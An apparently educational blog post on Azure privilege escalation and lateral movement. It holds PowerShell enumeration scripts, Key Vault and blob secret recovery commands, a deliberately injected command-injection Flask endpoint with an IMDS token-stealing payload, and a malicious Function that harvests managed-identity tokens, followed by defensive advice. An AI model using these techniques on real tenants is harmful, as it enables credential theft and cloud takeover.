Join us in this new blog post as we explore the various methods that threat actors commonly use to move laterally and escalate privileges in Azure.
Lateral movement and privilege escalation are two distinct yet related techniques commonly used by attackers during the exploitation and compromise of a system or network. Attackers often attempt to escalate privileges on a compromised system (e.g., a domain-joined machine in Active Directory) to access sensitive data, such as account password hashes. They can then try to use this information to move laterally within the network. Below, we provide brief definitions of these two terms:
Lateral Movement refers to techniques that enable threat actors to pivot from one identity, host, resource or service to another within an environment, aiming to further compromise the environment and increase their level of access within them.
Privilege Escalation involves adversaries using techniques to gain higher-level permissions in the environment.
In Azure, privilege escalation refers to the process where a threat actor gains permissions within an Azure environment, e.g. at the level of an Azure subscription, Entra ID tenant, or Resource Group, which is more privileged than those originally assigned to the compromised identity. This can involve exploiting misconfigurations, improper permissions, or weaknesses in identity management and access controls. To increase access in the cloud, we're required to undertake a continuous cycle of enumeration, lateral movement, persistence and privilege escalation.
Understanding privilege escalation vectors in Azure is crucial for offensive security professionals who test and defend Azure environments. As defenders, deepening our understanding of these offensive techniques allows us to secure sensitive resources, prevent unauthorized access, and mitigate risks by implementing stricter access controls and monitoring for unusual activities.
In this blog post, we will explore some common privilege escalation techniques that leverage RBAC roles to grant access to additional Azure resources. In a follow-up post, we will explore how threat actors can abuse common Entra ID roles and permissions to move laterally within an Azure tenant and escalate privileges by compromising high-privilege accounts.
When assessing the security of an unfamiliar Azure environment or of a new execution context, one of the key tasks is to get an understanding of the roles that identities such as users, managed identities and service principals have been assigned. Azure Role-Based Access Control (Azure RBAC) includes several built-in roles that administrators can assign to identities (such as "Reader" and "Contributor"), allow the identities to access and manage Azure resources. If the built-in roles don't meet a specific requirement, custom Azure roles can also be created.
It's important to note that RBAC roles can also be inherited through nested group memberships. When an Azure RBAC role is assigned to a group at a specific scope (e.g., a virtual machine resource), all members of that group—including those in nested groups—will inherit the assigned role.
You can easily identify all RBAC roles assigned to an Entra ID user account by making appropriate Azure REST API calls. The following script demonstrates this process and requires the user to authenticate to Azure using the Az PowerShell
module.
$userUPN = (Get-AzContext).Account.Id
$subscriptionId = (Get-AzContext).Subscription.Id
$user = Get-AzADUser -UserPrincipalName $userUPN
$userId = $user.Id
$armtoken = (Get-AzAccessToken -ResourceTypeName Arm).Token
$apiVersion = '2022-04-01'
$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Authorization/roleAssignments?api-version=$apiVersion&`$filter=assignedTo('$userId')"
$requestParams = @{
Method = 'GET'
Uri = $uri
Headers = @{
'Authorization' = "Bearer $armtoken"
}
}
$response = Invoke-RestMethod @requestParams
# Get role definitions
foreach ($assignment in $response.value) {
$roleDefinitionId = $assignment.properties.roleDefinitionId
$roleDefinitionIdParts = $roleDefinitionId -split '/'
$roleDefinitionIdFinal = $roleDefinitionIdParts[-1]
$roleDefinition = Get-AzRoleDefinition -Id $roleDefinitionIdFinal
$roleDefinition | Format-List *
}
This script can also be modified to retrieve the assigned RBAC roles for a system-assigned managed identity. If we authenticate to Azure using the Managed Identity of e.g. a Function App, we can easily adjust the scope and identify the assigned RBAC roles with the following script:
$resourceGroupName = "your-resource-group-name"
$functionAppName = "your-function-app-name"
$subscriptionId = (Get-AzContext).Subscription.Id
$scope = "/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.Web/sites/$functionAppName"
$managedIdentity = Get-AzSystemAssignedIdentity -Scope $scope
if ($managedIdentity -eq $null) {
Write-Host "System Assigned Managed Identity not found." -ForegroundColor Red
return
}
$managedIdentityId = $managedIdentity.PrincipalId
$armtoken = (Get-AzAccessToken -ResourceTypeName Arm).Token
$apiVersion = '2022-04-01'
$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Authorization/roleAssignments?api-version=$apiVersion&`$filter=assignedTo('$managedIdentityId')"
$requestParams = @{
Method = 'GET'
Uri = $uri
Headers = @{
'Authorization' = "Bearer $armtoken"
}
}
$response = Invoke-RestMethod @requestParams
foreach ($assignment in $response.value) {
$roleDefinitionId = $assignment.properties.roleDefinitionId
$roleDefinitionIdParts = $roleDefinitionId -split '/'
$roleDefinitionIdFinal = $roleDefinitionIdParts[-1]
$roleDefinition = Get-AzRoleDefinition -Id $roleDefinitionIdFinal
$roleDefinition | Format-List *
}
If we encounter a scenario where we control a user-assigned managed identity, we can perform the RBAC role assignment enumeration by making appropriate modifications to the script. In this case, we will use the Get-AzUserAssignedIdentity
cmdlet to define the scope.
$managedIdentityName = "your-user-assigned-managed-identity-name"
$resourceGroupName = "your-resource-group-name"
$subscriptionId = (Get-AzContext).Subscription.Id
$managedIdentity = Get-AzUserAssignedIdentity -ResourceGroupName $resourceGroupName -Name $managedIdentityName
if ($managedIdentity -eq $null) {
Write-Host "User Assigned Managed Identity not found." -ForegroundColor Red
return
}
$managedIdentityId = $managedIdentity.Id
$armtoken = (Get-AzAccessToken -ResourceTypeName Arm).Token
$apiVersion = '2022-04-01'
$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Authorization/roleAssignments?api-version=$apiVersion&`$filter=assignedTo('$managedIdentityId')"
$requestParams = @{
Method = 'GET'
Uri = $uri
Headers = @{
'Authorization' = "Bearer $armtoken"
}
}
$response = Invoke-RestMethod @requestParams
foreach ($assignment in $response.value) {
$roleDefinitionId = $assignment.properties.roleDefinitionId
$roleDefinitionIdParts = $roleDefinitionId -split '/'
$roleDefinitionIdFinal = $roleDefinitionIdParts[-1]
$roleDefinition = Get-AzRoleDefinition -Id $roleDefinitionIdFinal
$roleDefinition | Format-List *
}
Lastly, we may encounter a situation where we control a service principal and need to enumerate its assigned RBAC roles. This can be achieved using the following script, which utilizes the Get-AzADServicePrincipal
cmdlet to define the appropriate API call scope.
$servicePrincipalName = "your-service-principal-name-or-app-id"
$subscriptionId = (Get-AzContext).Subscription.Id
$servicePrincipal = Get-AzADServicePrincipal -DisplayName $servicePrincipalName
$servicePrincipalId = $servicePrincipal.Id
$armtoken = (Get-AzAccessToken -ResourceTypeName Arm).Token
$apiVersion = '2022-04-01'
$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Authorization/roleAssignments?api-version=$apiVersion&`$filter=assignedTo('$servicePrincipalId')"
$requestParams = @{
Method = 'GET'
Uri = $uri
Headers = @{
'Authorization' = "Bearer $armtoken"
}
}
$response = Invoke-RestMethod @requestParams
foreach ($assignment in $response.value) {
$roleDefinitionId = $assignment.properties.roleDefinitionId
$roleDefinitionIdParts = $roleDefinitionId -split '/'
$roleDefinitionIdFinal = $roleDefinitionIdParts[-1]
$roleDefinition = Get-AzRoleDefinition -Id $roleDefinitionIdFinal
$roleDefinition | Format-List *
}
Managed identities are an Entra feature that provide an identity for a service or resource within an EntraID tenant. Managed identities simplify credential management for applications and services running in Azure by reducing the need to manually manage credentials. Managed identities are typically used when resources, such as Azure Virtual Machines (VM) or Azure Functions, need to authenticate to and securely access other Azure resources. When a managed identity is created for a resource, Azure automatically creates a service principal in the Entra ID tenant to represent that resource.
This service principal is used to authenticate to the resource via Entra ID and is assigned specific permissions. Managed identities are a specialized type of identity designed for Azure resources, streamlining authentication and access management for enhanced security. There are two types of managed identities:
Managed identities are often granted specific roles or permissions within a subscription, such as Reader, Contributor, or Owner. If a managed identity with assigned roles is compromised, threat actors can potentially use it to escalate their privileges. For example, a compromised managed identity associated with a Web App could be used to access sensitive information stored in other Azure resources, as demonstrated in the diagram below.
If an attacker identifies a public service such as an Azure App Service, specifically a Web App, e.g. hosted at https://staging.megabigtech.com/supportcareplus.php, they may start enumerating the web app for potential vulnerabilities caused by poor coding practices. If a Command Injection vulnerability is found, it could be exploited to access the IDENTITY_ENDPOINT and IDENTITY_HEADER environment variables.
The script below can be used to obtain tokens for an attached Managed Identity.
$armtoken = 'eyJ0eX...vQ-d9oDA'
$msgraphtoken = 'eyJ0eXAi...z5dpYw'
$keyvaulttoken = 'eyJ0e...0Bt84Ng'
Connect-AzAccount -AccessToken $armtoken -MicrosoftGraphAccessToken $msgraphtoken -KeyVaultAccessToken $keyvaulttoken -AccountId '0000000-0000-0000-0000-000000000'
PS C:\AzureTools> Get-AzResource
Name : topsecretkeyvault
ResourceGroupName : prototypes
ResourceType : Microsoft.KeyVault/vaults
Location : eastus
ResourceId : /subscriptions/<SUBSCRIPTION_ID/resourceGroups/prototypes/providers/Microsoft.KeyVault/vaults/topsecretkeyvault
Tags :
After obtaining the tokens, the example above demonstrates how an Azure Key Vault is discovered. The attackers can then begin extracting sensitive information from it. Another common attack vector for this type of privilege escalation involves abusing command execution permissions on a Virtual Machine, such as Microsoft.Compute/virtualMachines/runCommand/action
. Attackers can exploit these permissions to execute commands on the VM with system privileges, enabling them to steal access tokens.
💡 For more details on Azure VM attacks, check out this excellent blog post.
Azure Automation Accounts provide a service for automating tasks across Azure resources, on-premises infrastructure, and other cloud providers. They enable automation through Runbooks, Configuration Management, update management, and shared resources like credentials, certificates, and connections. According to Microsoft, some common use cases for Azure Automation include:
Azure Key Vault is a service for securely storing and managing sensitive information such as passwords, connection strings, certificates, private keys, and more. It simplifies the administration of application secrets and integrates seamlessly with other Azure services. Common objects stored in Key Vaults include:
If attackers compromise accounts with specific RBAC roles, they may gain unauthorized access to Key Vaults containing critical credentials. These leaked secrets may allow attackers to escalate privileges within the Azure environment, access protected data, or impersonate identities.
Get-AzKeyVaultSecret -VaultName topsecretkeyvault
Vault Name : topsecretkeyvault
Name : globaladmin-creds
Version :
Id : https://topsecretkeyvault.vault.azure.net:443/secrets/globaladmin-cred
Enabled : True
Expires :
Not Before :
Created : 10/23/2024 17:13:13
Updated : 10/23/2024 17:13:13
Content Type :
Tags :
Get-AzKeyVaultSecret -VaultName topsecretkeyvault -SecretName globaladmin-creds -AsPlainText
IaMPwn3d!
Another important attack vector to consider is the versioning feature of secrets in Azure Key Vault. Each secret in a Key Vault can have multiple versions, with each version representing a unique value. When a new value is assigned to a secret, a new version is created. This functionality allows administrators to maintain a history of changes and easily roll back to previous versions when needed.
However, attackers can exploit this feature by searching through older versions to uncover forgotten secrets, such as credentials that may still be in use.
The following Az PowerShell command can be used to list all Key Vault secrets, including their older versions:
Get-AzKeyVaultSecret -VaultName 'KEYVAULT_NAME' -Name 'SECRET_NAME' -IncludeVersions
Additionally, a specific version of a secret can be retrieved, exposing sensitive data that was presumed removed from the Key Vault:Get-AzKeyVaultSecret -VaultName 'KEYVAULT_NAME' -Name 'SECRET_NAME' -Version 'VERSION' -AsPlainText
Another frequently overlooked attack vector is the soft-delete feature of Azure Key Vault. This feature allows recovery of deleted Key Vaults and their objects (keys, secrets, and certificates). According to Microsoft's documentation, when a secret, key, or certificate is deleted, it remains recoverable for a configurable period of 7 to 90 calendar days. If no specific configuration is applied, the default recovery period is set to 90 days.
While this feature provides a safety net for accidental deletions, it can also be exploited by attackers. If they gain access to a Key Vault within this recovery window, they can retrieve and misuse soft-deleted secrets.
The following command lists soft-deleted Key Vault secrets:
Get-AzKeyVaultSecret -VaultName 'KEYVAULTNAME' -InRemovedState
Once a soft-deleted secret is identified, it can be restored and its plaintext value retrieved using these commands:
Undo-AzKeyVaultSecretRemoval -VaultName "KEYVAULTNAME" -Name 'SECRETNAME'
Get-AzKeyVaultSecret -VaultName 'KEYVAULTNAME' -Name 'SECRETNAME' -AsPlainText
DevOps is a collaborative methodology that unifies development and operations teams to optimize software delivery processes. It focuses on automation, continuous integration, and continuous delivery (CI/CD) to enhance efficiency, reliability, and deployment speed. CI/CD pipelines automate code integration, testing, and deployment, enabling rapid and frequent software releases.
Azure DevOps is a cloud-based suite of tools and services designed to support the entire software development lifecycle. It provides a comprehensive platform for managing code, tracking work, automating builds, and deploying applications. Its key components include:
Attackers who gain access to security principals (e.g., user principals, service principals, or managed identities) with permissions in Azure DevOps can exploit its features and built-in roles to perform enumeration or carry out attacks within the tenant. Common attack vectors include:
For instance, consider an attack chain where an attacker compromises an identity with Contributor access to a GitHub repository (this refers to the GitHub role, not the built-in Azure Contributor role). Upon inspecting the repository’s README file, the attacker discovers that the repository is part of a CI/CD pipeline used to test various Azure Web App features, such as extracting text from PDF files. Let us also assume that the Web App at hand is accessible by the attacker. This could happen from either an unauthenticated perspective, if the Web App is publicly available, or an authenticated perspective, should the compromised account that the attacker controls have access.
Original process_file.py
import logging
import azure.functions as func
def main(req: func.HttpRequest) -> func.HttpResponse:
logging.info('Processing request for image metadata.')
image_url = req.params.get('image_url')
if not image_url:
return func.HttpResponse(
"Please provide an image_url parameter.",
status_code=400
)
metadata = fetch_image_metadata(image_url)
return func.HttpResponse(metadata, status_code=200)
def fetch_image_metadata(image_url):
# Normally, this function would interact with a service or library to retrieve metadata
# Example (before malicious modification): return f"Metadata for {image_url}"
return "Metadata Placeholder"
The attacker can modify the process_file.py to introduce a command injection vulnerability.
import os
import subprocess
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/process', methods=['POST'])
def process_file():
file_path = request.form.get('file_path')
if not file_path or not file_path.endswith('.pdf'):
return jsonify({"error": "Invalid file. Please upload a PDF."}), 400
# Vulnerable code: file_path is directly included in the shell command
command = f"pdftotext {file_path} -" # Concatenation introduces vulnerability
result = subprocess.check_output(command, shell=True)
return jsonify({"text": result.decode('utf-8')})
They can then access the compromised application and send a POST request to the tampered /process
endpoint, targeting the Azure Instance Metadata Service (IMDS) through remote code execution.
POST /process HTTP/1.1
Host: vulnerableapp.azurewebsites.net
Content-Type: application/x-www-form-urlencoded
file_path=/path/to/file.pdf; curl "http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com&api-version=2019-08-01" -H "Metadata:true"
It’s important to note that this technique can also be used for initial access to an Azure environment. For example, an attacker could gain access to an employee’s GitHub credentials and exploit a CI/CD pipeline to enumerate Azure resources. The attacker could then exploit running services to hijack attached managed identities, ultimately gaining a foothold in the environment.
If an attacker compromises an identity with role assignments such as Storage Blob Data Owner
or Storage Account Contributor
, they may be able to exfiltrate or destroy sensitive and expand their reach within the environment by compromising additional resources. Blob containers can be misused to store unencrypted sensitive information such as credentials, keys and configuration files, which is against best practices. In the example below, an attacker gains control of an identity that has the Storage Blob Data Reader
role assigned.
Get-AzRoleAssignment
<snip>
Scope : /subscriptions/0000000-0000-0000-0000-00000000/resourceGroups/topsecret/providers/Microsoft.Storage/storageAccounts/corporate-secrets
DisplayName :
SignInName :
RoleDefinitionName : Storage Blob Data Reader
<snip>
The attacker can then start enumerating the Blob Container for sensitive files.
az storage container list --account-name corporate-secrets --auth-mode login
az storage blob list --account-name corporate-secrets --container-name
WMD-schematics --auth-mode login
Similar to Key Vaults, Storage Accounts offer a soft delete feature for blobs. This feature allows users to recover data that was accidentally deleted or overwritten by retaining deleted blobs and snapshots for a specified retention period. However, this functionality can be exploited by threat actors who search for different versions of files and directories within a Blob container. These older versions might contain sensitive information, as blobs can remain retrievable even after deletion.
Attackers can easily locate soft-deleted blobs and retrieve their contents.
$storageAccount = Get-AzStorageAccount -ResourceGroupName mbt-rg-11 -Name mbtresearch
$storagecontext = $storageAccount.Context
Get-AzStorageBlob -Context $storagecontext -Container <CONTAINER_NAME> -IncludeDeleted
Soft-deleted blobs can be retrieved using REST API calls.
$storagetoken = (Get-AzAccessToken -ResourceUrl Storage).Token
$currentDate = (Get-Date).ToUniversalTime().ToString("R")
$headers = @{
"Authorization" = "Bearer $storagetoken"
"x-ms-version" = "2020-10-02"
"x-ms-date" = $currentDate
}
$response = Invoke-RestMethod -Uri "https://STORAGE_ACCOUNT_NAME.blob.core.windows.net/CONTAINER_NAME/BLOB_NAME?comp=undelete" -Method Put -Headers $headers
$response
Blob versioning is a feature of Azure Storage Accounts that allows users to maintain and access previous versions of blobs within a storage account. As mentioned, this feature protects against accidental modifications or deletions by preserving the history of changes, enabling users to recover previous blob versions as needed. However, it is not uncommon for unattended files containing sensitive information to be left in previous blob versions, posing a potential security risk.
$storagetoken = (Get-AzAccessToken -ResourceUrl Storage).Token
$currentDate = (Get-Date).ToUniversalTime().ToString("R")
$headers = @{
"Authorization" = "Bearer $storagetoken"
"x-ms-version" = "2020-10-02"
"x-ms-date" = $currentDate
}
$uri = "https://STORAGE_ACCOUNT_NAME.blob.core.windows.net/CONTAINER_NAME?restype=container&comp=list&include=versions"
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers
$response
Another notable attack vector for abusing Storage Accounts arises when storage blobs are linked to Azure Functions. When a Function App is created, a dedicated Storage Account is also provisioned to support various operations, such as trigger management and logging.
If an attacker compromises the Storage Account associated with an HTTP-triggered Function App, the Function App itself can be fully compromised. The attacker could create a malicious trigger function designed to steal access tokens. An example implementation in Python is shown below:
import logging, os
import azure.functions as func
def main(req: func.HttpRequest) -> func.HttpResponse:
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
cmd = 'curl "%s?resource=https://management.azure.com&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
management_token = os.popen(cmd).read()
cmd = 'curl "%s?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
vault_token = os.popen(cmd).read()
cmd = 'curl "%s?resource=https://graph.microsoft.com&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
graph_token = os.popen(cmd).read()
res = management_token + vault_token + graph_token
return func.HttpResponse(res, status_code=200)
The attacker must also create a function configuration dictating the type of trigger required to execute the injected function. In the example below, both HTTP GET and POST requests can trigger the function. Furthermore, no authentication is required to perform the action, making it also good for persistence and could potentially make it harder to detect.{
"scriptFile": "__init__.py",
"bindings": [
{
"name": "req",
"type": "httpTrigger",
"methods": [
"get",
"post"
],
"direction": "in",
"authLevel": "anonymous"
},
{
"name": "$return",
"type": "http",
"direction": "out"
}
]
}
By writing these files to the Storage Account and accessing the appropriate Function App endpoint, the attacker can request access tokens for the Azure Resource Manager (ARM), the Microsoft Graph (MSGraph), the Key Vault service, and any other service associated with the Function App's Managed Identity. These tokens can then be used with the associated service in Azure as that security principal.
Additionally, Azure Virtual Machines (VMs) may be configured to use blob storage for custom scripts or diagnostics. If an attacker compromises the Storage Account or gains write access to the Blob container holding these scripts, they could modify them to execute malicious code with NT AUTHORITY\SYSTEM
privileges. This would result in the full compromise of the VM.
Azure Logic Apps, part of Azure's App Services, enable administrators to create and deploy integrations across cloud and on-premises environments. One of its key advantages is its ability to connect to a wide range of services, supporting complex workflows and seamless integration with diverse data sources.
Logic Apps are frequently targeted by threat actors because credentials can be hardcoded or be visible in the output of the steps. If an attacker compromises an identity that is assigned the Reader role at the scope of a Logic App, they could examine its configuration and potentially uncover sensitive data stored within it, as demonstrated in the example below.
It is also important to review the available versions of a Logic App, as hardcoded credentials may still exist in earlier versions.
Additionally, the Run History
tab warrants close monitoring, as it records all previous executions of the Logic App, including any inputs provided and outputs generated.
If a security principal with the Contributor role for a Logic App is compromised, the attacker's capabilities are significantly expanded. In this scenario, attackers can modify the Logic App workflow, enabling them to add malicious actions that will execute when the specified conditions are triggered. The example below illustrates the trigger condition of a Logic App.
{
"type": "Request",
"kind": "Http",
"inputs": {
"method": "GET"
}
}
{
"type": "ApiConnection",
"inputs": {
"host": {
"connection": {
"referenceName": "keyvault"
}
},
"method": "get",
"path": "/secrets/@{encodeURIComponent('topsecretcreds')}/value"
},
"runAfter": {}
}
Defending against Azure privilege escalation and lateral movement is a complex security challenge that requires a combination of defense-in-depth strategies and the principle of least privilege by assigning roles with only the minimum required permissions. Periodically reviewing and auditing role assignments—especially for high-privilege roles like Owner and Contributor—but also specific permission grants in custom roles, is crucial. Implementing least privilege through Just-In-Time (JIT) access can also help to minimize exposure and stay ahead of threat actors.
Additionally, enforcing proper Conditional Access Policies and requiring multi-factor authentication (MFA) is essential to prevent User Principals with access to sensitive resources, such as Key Vaults, from being compromised. Lastly, monitoring logs for unusual access patterns and configuring alerts for role assignments or changes can greatly help defenders detect attacks early and limit the organization's exposure to threats.
In this post, we've explored some common techniques that threat actors use to move laterally and escalate privileges in Azure by abusing RBAC Roles, further compromising Resources within the tenant. In Part Two, we'll take a closer look at how attackers can exploit Entra roles and Microsoft 365 services for privilege escalation and lateral movement.